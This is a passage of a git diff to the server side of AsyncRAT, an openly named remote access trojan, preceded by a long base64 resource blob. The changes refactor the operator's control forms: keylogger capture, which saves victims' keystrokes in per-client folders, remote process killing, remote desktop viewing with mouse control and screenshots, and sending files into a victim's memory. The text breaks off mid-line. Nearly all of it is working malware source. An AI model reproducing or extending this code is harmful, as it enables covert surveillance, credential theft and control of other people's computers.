A1QBrgPeAf8D3QH/A9wB/wPcAf8D2wH/A9oB/wPZAf8D2AH/A9cB/wPXAf8D1QH/A9QB/wPUAf8D0gH/ + A9EB/wPQAf8DwAH/A7cB/wPLAf8DzAH/A8sB/wOyAf8DsAH/A64B/wOuAf8DswH/A8MB/wPCAf8DwAH/ + A78B/wO+Af8DvAH/A7wB/wO6Af8DVwG6AwABAfAAA1EBnAFuAYIBhgHxAZMB4AH9Af8BkwHgAf0B/wGT + AeAB/QH/AZMB4AH9Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9Af8BlAHeAfoB/wGMAdIB7gH/AV8BxAHk + Af8BcwHOAfAB/wGCAdIB9AH/AYQB0wH1Af8BhgHVAfYB/wGMAdcB9wH/AY4B2AH3Af8BjAHXAfcB/wGG + AdUB9gH/AYQB1AH2Af8BigHWAfcB/wGOAdgB9wH/AY4B2AH3Af8BjgHYAfcB/wGOAdgB9wH/AY4B2AH3 + Af8DXAHJAx0BKkAAAwwBEANWAbQD0AH/A9EB/wPSAf8DbgH/A9QB/wPVAf8D1gH/A9cB/wPYAf8D2AH/ + A9gB/wPZAf8D2QH/A+EB/wPtBf8D7wH/A90B/wPGAf8DvQH/A9kB/wPZAf8D2QH/A9kB/wPZAf8D2AH/ + A9gB/wPYAf8D1wH/A6UB/wOpAf8D1QH/A9MB/wPSAf8D0QH/A9AB/wPPAf8DMQFPAwgBCyQAAzoBYgPf + Af8D3wH/A94B/wPdAf8D3QH/A9wB/wPbAf8D2QH/A9kB/wPZAf8D1wH/A9YB/wPWAf8D1AH/A9MB/wPS + Af8DwgH/A7oB/wPNAf8DzgH/A80B/wPEAf8DwgH/A8AB/wO/Af8DwgH/A8YB/wPFAf8DwwH/A8IB/wPA + Af8DvwH/A74B/wO9Af8DSQGH9AADUAGbAW4BgwGGAfEBkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BkQHh + Af0B/wGRAeEB/QH/AZEB4QH9Af8BkQHhAf0B/wGZAd0B9gH/AYkByQHiAf8BggHSAfQB/wGEAdQB9gH/ + AYQB1AH3Af8BhAHUAfcB/wGIAdYB9wH/AY0B2AH4Af8BjgHYAfgB/wGKAdcB+AH/AYUB1QH3Af8BhQHU + AfcB/wGMAdcB+AH/AY4B2AH4Af8BjgHYAfgB/wGOAdgB+AH/AY4B2AH4Af8BjgHYAfgB/wNcAckDHQEq + QAADCgEOA0wBkAPMAf8DzgH/A9AB/wNYAf8D0QH/A9IB/wPTAf8D1AH/A9UB/wPVAf8D1gH/A9YB/wPX + Af8D1wH/A9gB/wPYAf8D/AX/A9gB/wPFAf8DvwH/A9cB/wPXAf8D1wH/A9YB/wPWAf8D1QH/A9UB/wPU + Af8DogH/A78B/wPSAf8D0AH/A88B/wPOAf8DzQH/A8sB/wMhATADBwEJJAADEAEVA7cB/gPgAf8D3wH/ + A98B/wPeAf8D3gH/A90B/wPcAf8D2wH/A9sB/wPZAf8D2AH/A9gB/wPXAf8D2AH/A9gB/wPIAf8DvgH/ + A9MB/wPUAf8D0QH/A88B/wPNAf8DzQH/A8sB/wPJAf8DyQH/A8cB/wPGAf8DxQH/A8QB/wPCAf8DwQH/ + A4wB/AM1AVf0AANQAZsBbgGDAYkB8QGPAeEB/QH/AY8B4QH9Af8BkAHhAf0B/wGRAeIB/QH/AZIB3wH6 + Af8BlAHcAfYB/wGTAdQB7AH/AYYBzAHnAf8BgwHPAe8B/wGEAdUB+AH/AYUB1QH4Af8BhQHVAfgB/wGF + AdUB+AH/AYwB2AH5Af8BjwHZAfkB/wGQAdkB+QH/AYkB1wH4Af8BhgHVAfgB/wGIAdcB+AH/AY8B2AH5 + Af8BkQHZAfkB/wGRAdkB+QH/AZEB2gH5Af8BkgHZAfkB/wGKAcwB6wH/AVgCWgHAAxwBJ0AAAwgBCwMy + AVEDyAH/A8sB/wPNAf8DSgH/A84B/wPPAf8D0AH/A9EB/wPSAf8D0gH/A9MB/wPTAf8D1AH/A9QB/wPU + Af8D1QH/A9UB/wPnBf8D3wH/A7UB/wO8Af8D1AH/A9QB/wPTAf8D0wH/A9IB/wPSAf8D0QH/A6EB/wPP + Af8DzwH/A80B/wPNAf8DywH/A8kB/wPIAf8DHwEsAwYBCCgAA18B2QPiAf8D4QH/A+EB/wPgAf8D4AH/ + A98B/wPeAf8D3QH/A9wB/wPbAf8D2wH/A9oB/wPYAf8DxAH/A8IB/wPDAf8DwwH/A8EB/wO8Af8DygH/ + A9EB/wPQAf8DzwH/A84B/wPMAf8DzAH/A8sB/wPJAf8DyAH/A8cB/wPFAf8DxAH/A2wB5QMnATv0AANQ + AZsBbQGDAYkB8QGNAeIB/QH/AY8B4gH8Af8BkAHhAfoB/wGRAd4B9gH/AZIB1gHvAf8BdgHNAegB/wGG + AdIB8QH/AYQB0wH0Af8BhAHVAfgB/wGFAdYB+QH/AYUB1gH5Af8BhgHWAfkB/wGHAdcB+QH/AY8B2gH6 + Af8BkQHbAfoB/wGRAdsB+gH/AYkB1gH4Af8BfwG1Ac0B/gF2AZUBrwH8AWoBiwGSAfkBZQF3AXsB9AFj + AWsBcAHvAWMBZwFpAegBYQFjAWUB4QNhAdoDSQGIAxMBGkAAAwcBCQMiATEDsgH+A8YB/wPJAf8DQAH/ + A8sB/wPNAf8DzgH/A88B/wPQAf8D0AH/A9AB/wPRAf8D0gH/A9IB/wPSAf8D0gH/A9MB/wPTAf8D4QH/ + A+QB/wPSAf8DiQH/A9IB/wPRAf8D0QH/A9EB/wPQAf8DzwH/A88B/wOgAf8DzQH/A8wB/wPKAf8DyAH/ + A8YB/wPEAf8DvgH/AxsBJgMEAQYoAANUAaYD4wH/A+MB/wPjAf8D4QH/A+AB/wPgAf8D3wH/A98B/wPe + Af8D3QH/A90B/wPcAf8D2wH/A9gB/wPIAf8DxAH/A8YB/wPBAf8DzAH/A9QB/wPTAf8D0gH/A9EB/wPQ + Af8DzgH/A84B/wPNAf8DywH/A8sB/wPJAf8DyAH/A8cB/wNbAcsDGAEh9AADUAGaAWcBfAGCAfABigHi + Af0B/wGSAeIB+wH/AZYB2QHtAf8BYgG/AdcB/wFrAc0B7QH/AYUB1gH3Af8BhgHXAfkB/wGGAdcB+QH/ + AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/AYcB1wH4Af8BigHXAfgB/wGUAdsB+QH/AZgB3AH5Af8BiAHK + AeYB/gGWAboByAH9AWsBiQGLAfkBYAJiAe8DYQHaA1kBvgNQAZ0DQQFyAzABSwMcAScDBwEJAwABAUAA + AwUBBwMeASsDrgH+A8EB/wPDAf8DxAH/A6wB/wPJAf8DygH/A8sB/wPMAf8DzQH/A84B/wPOAf8DzgH/ + A88B/wPPAf8DzwH/A88B/wPQAf8D0AH/A8UB/wPPAf8DiAH/A6QB/wPOAf8DzgH/A84B/wPNAf8DzAH/ + A8sB/wOeAf8DyQH/A8gB/wPFAf8DwwH/A8IB/wPAAf8DqQH/AxgBIQMEAQUoAANCAXMD4wH/A+QB/wPj + Af8D4wH/A+IB/wPiAf8D4QH/A+AB/wPgAf8D3wH/A98B/wPeAf8D3QH/A9wB/wPZAf8DxQH/A8EB/wPN + Af8D2AH/A9cB/wPWAf8D1AH/A9MB/wPSAf8D0QH/A9EB/wPQAf8DzgH/A80B/wPMAf8DygH/A8oB/wNW + AbEDBQEH9AADUAGaAWgBegGBAfABlgHbAfMB/wF/AbABwwH+AXIBoAG1AfwBcAGaAaQB+gFqAYYBkgH1 + AWQBegGCAe8BZQFxAXYB6AFiAWgBagHiAV8BYwFkAdsDYAHWA1wBzAFZAloBvQNUAasDTAGTA0QBeQM4 + AV4DMAFLAycBOgMfAS0DHAEnAxcBIAMTARoDDgETAwoBDQMFAQcDAAEBRAADBAEGAxoBJQOoAf4DvQH/ + A78B/wPAAf8DtwH/A54B/wOfAf8DogH/A6YB/wOqAf8DrgH/A7EB/wO1Af8DtwH/A7kB/wO7Af8DuwH/ + A7oB/wO5Af8DxwH/A8oB/wO4Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/Af8DugH/A6EB/wPDAf8DwgH/ + A8AB/wO/Af8DvQH/A7sB/wOLAf8DFAEcAwMBBCgAAy4BSAOGAfED4wH/A+MB/wPjAf8D4wH/A+MB/wPi + Af8D4gH/A+EB/wPhAf8D4AH/A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/A9sB/wPZAf8D2AH/A9cB/wPX + Af8D1gH/A9UB/wPUAf8D0wH/A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/A0cBgPgAA0kBhwNdAdMDYQHc + A14B1QNcAcwDWQG/A1YBqwNOAZQDRAF5AzoBYAMvAUoDJgE5AyABLgMbASYDFwEgAxMBGgMPARQDCgEN + AwYBCAMDAQQDAAEBAwABAVwAAwMBBAMTARoDiwH+A8IB/wPOAf8DzQH/A70B/wPMAf8D5wH/AeUC5gH/ + AckCygH/A98B/wPRAf8BvwLAAf8B0wLUAf8BxgLHAf8B2wLdAf8B0QLSAf8DtwH/AcMCxAH/AdwC3QH/ + AdwC3QH/Ac0CzgH/A8cB/wO0Af8DuwH/A7wB/wO7Af8DugH/A7kB/wO1Af8DuAH/A78B/wO+Af8DvAH/ + A9AB/wPFAf8DwgH/A2sB/wMPARQDAQECKAADEAEVA1ABmwPiAf8D4wH/A+MB/wPkAf8D4wH/A+MB/wPj + Af8D4wH/A+IB/wPiAf8D4QH/A+AB/wPfAf8D3wH/A90B/wPdAf8D3QH/A9sB/wPaAf8D2QH/A9kB/wPY + Af8D1wH/A9YB/wPVAf8D1AH/A9IB/wPSAf8D0QH/A64B/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEa + AwcBCgMAAQGfAAEBAwgBCwNoAf4DlgH/A24B/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/ + AfYC9wH/AfQC9QH/AfIC9AH/AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/ + Ac8C0AH/A8IB/wPCAf8DwQH/A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyIB/wOT + Af8DswH/A1sBxAMGAQgDAAEBMAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf AzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf - AzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM4AV0DIwEz/wABAAMFAQcDCAEL - AwYBCAMEAQUDAQECpAADAQECA0wBkwNTAaoDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW + AzkBXwM5AV8DOQFfAzgBXQMjATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNW AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW - AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDUwGqAwwBEAMAAQH/AP8AbQABAQMA - BAEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC + AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW + AasDVgGrA1YBqwNTAaoDDAEQAwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC - AwEBAgMBAQIDAQECAwABAf8A/wD/AP8AnAABQgFNAT4HAAE+AwABKAMAAcADAAEwAwABAQEAAQEFAAGA - AQQWAAP/AQAB/wH4AT8B/wHfAf8B4AQAAQMG/wYAAf8B+AEPAfwBAQH/AcAEAAEBBv8GAAH/AfgBDwH4 - AQEB/wGABQAG/wYAAf8BwAMAAT8BgAUABv8GAAH/BAABPwGABQABwAQAAQMGAAH/BAABPwGABQABgAQA - AQEGAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEPAYARAAH+BAABBwGAEQAB/gQAAQMBgBEAAf4EAAEB - AYARAAH+BAABAQGAEQAB/gQAAQEBgAUAAYALAAH+BAABBwGABQABgAsAAf4EAAEPAYAFAAGACwAB/gMA - AQEB/wGABAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABAQH/AYAEAAEBAYAEAAEB - BgAB/gMAAQcB/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEB - AcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/ - AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB8AQAAQcGAAH+ - AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHABAABAwHwBAABBwYAAf4DAAEPAf8B4AQAAQMB8AQA - AQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQA - AQMB+AQAAR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEP - Af8B4AQAAQcB+AQAAR8GAAH+AwABDwH/AeAEAAEHAfwEAAEfBgAB/gMAAQ8B/wHwBAABBwH8BAABPwYA - Af4DAAEPAf8B8AQAAQcB/AQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+ - BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+AwABHwH/AfAEAAEHAf4EAAF/BgAB/gIAAQcC/wHw - BAABBwH+BAABfwYAAf4BBwT/AfAEAAEHAf8BgAIAAQEB/wYAAf4BDwT/AfgEAAEPBv8GAAb/AfwEAAE/ - Bv8GABL/BgAL + AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFC + AU0BPgcAAT4DAAEoAwABwAMAATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/ + BgAB/wH4AQ8B/AEBAf8BwAQAAQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYA + Af8EAAE/AYAFAAHABAABAwYAAf8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQA + AQ8BgBEAAf4EAAEHAYARAAH+BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsA + Af4EAAEHAYAFAAGACwAB/gQAAQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGA + BAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMA + AQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAED + BgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEB + AeAEAAEHBgAB/gMAAQ8B/wHABAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/ + AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+ + AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQA + AR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQA + AQcB/AQAAR8GAAH+AwABDwH/AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEP + Af8B8AQAAQcB/gQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYA + Af4DAAEfAf8B8AQAAQcB/gQAAX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGA + AgABAQH/BgAB/gEPBP8B+AQAAQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs= diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 51fe05c..1765746 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -92,6 +92,7 @@ // this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.richTextBox1.Location = new System.Drawing.Point(0, 34); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs index ec1b1b8..1cb791e 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -22,21 +22,25 @@ namespace Server.Forms } public Form1 F { get; set; } - internal Clients C { get; set; } - public StringBuilder SB = new StringBuilder(); + internal Clients Client { get; set; } + public StringBuilder Sb = new StringBuilder(); private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) { - SB?.Clear(); + Sb?.Clear(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) @@ -67,7 +71,7 @@ namespace Server.Forms { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger"); + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID + "\\Keylogger"); if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine)); diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs index 765dde1..d2b5265 100644 --- a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs @@ -9,23 +9,28 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; namespace Server.Forms { public partial class FormProcessManager : Form { + public Form1 F { get; set; } + internal Clients Client { get; set; } + public FormProcessManager() { InitializeComponent(); } - public Form1 F { get; set; } - internal Clients C { get; set; } private void timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private async void killToolStripMenuItem_Click(object sender, EventArgs e) @@ -40,7 +45,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); }); } } @@ -53,7 +58,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); }); } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index ad08eca..ebe0a62 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -42,6 +42,7 @@ this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.timerSave = new System.Windows.Forms.Timer(this.components); + this.labelWait = new System.Windows.Forms.Label(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); @@ -164,7 +165,7 @@ this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; this.numericUpDown1.Value = new decimal(new int[] { - 60, + 30, 0, 0, 0}); @@ -198,11 +199,22 @@ this.timerSave.Interval = 1500; this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); // + // labelWait + // + this.labelWait.AutoSize = true; + this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F); + this.labelWait.Location = new System.Drawing.Point(376, 222); + this.labelWait.Name = "labelWait"; + this.labelWait.Size = new System.Drawing.Size(78, 29); + this.labelWait.TabIndex = 3; + this.labelWait.Text = "Wait..."; + // // FormRemoteDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(938, 485); + this.Controls.Add(this.labelWait); this.Controls.Add(this.button2); this.Controls.Add(this.panel1); this.Controls.Add(this.pictureBox1); @@ -210,6 +222,7 @@ this.MinimumSize = new System.Drawing.Size(655, 440); this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); @@ -218,6 +231,7 @@ ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); this.ResumeLayout(false); + this.PerformLayout(); } @@ -235,5 +249,6 @@ private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Button btnMouse; + public System.Windows.Forms.Label labelWait; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 2f665b6..30a6bee 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -10,7 +10,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -using Server.Sockets; +using Server.Connection; using Server.MessagePack; using System.Threading; using System.Drawing.Imaging; @@ -21,24 +21,32 @@ namespace Server.Forms { public partial class FormRemoteDesktop : Form { - public FormRemoteDesktop() - { - InitializeComponent(); - } - public Form1 F { get; set; } - internal Clients C { get; set; } - internal Clients C2 { get; set; } - public bool Active { get; set; } + internal Clients ParentClient { get; set; } + internal Clients Client { get; set; } + public string FullPath { get; set; } + public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew(); public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public Size rdSize; private bool isMouse = false; + + + public FormRemoteDesktop() + { + InitializeComponent(); + } + + private void timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!ParentClient.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void Button2_Click(object sender, EventArgs e) @@ -79,7 +87,7 @@ namespace Server.Forms msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; button1.Tag = (object)"stop"; @@ -90,8 +98,8 @@ namespace Server.Forms button1.Tag = (object)"play"; try { - C2.Disconnected(); - C2 = null; + Client.Disconnected(); + Client = null; } catch { } numericUpDown1.Enabled = true; @@ -120,10 +128,9 @@ namespace Server.Forms btnSave.BackgroundImage = Properties.Resources.save_image2; try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); - if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); - Process.Start(fullPath); + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + Process.Start(FullPath); } catch { } } @@ -134,15 +141,14 @@ namespace Server.Forms { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); - if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); Encoder myEncoder = Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L); myEncoderParameters.Param[0] = myEncoderParameter; ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); - pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); + pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); } @@ -181,7 +187,7 @@ namespace Server.Forms msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Button").AsInteger = button; - ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -206,7 +212,7 @@ namespace Server.Forms msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); - ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -224,7 +230,7 @@ namespace Server.Forms msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); - ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -243,5 +249,14 @@ namespace Server.Forms btnMouse.BackgroundImage = Properties.Resources.mouse_enable; } } + + private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + Client?.Disconnected(); + } + catch { } + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index e5b63af..53b21e6 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,6 +123,9 @@ 131, 17 + + 273, 17 + diff --git a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs index 59d3061..63bedca 100644 --- a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs +++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs @@ -15,7 +15,7 @@ namespace Server { public partial class FormSendFileToMemory : Form { - public bool isOK = false; + public bool IsOK = false; public FormSendFileToMemory() { InitializeComponent(); @@ -54,19 +54,19 @@ namespace Server toolStripStatusLabel1.Text = Path.GetFileName(O.FileName); toolStripStatusLabel1.Tag = O.FileName; toolStripStatusLabel1.ForeColor = 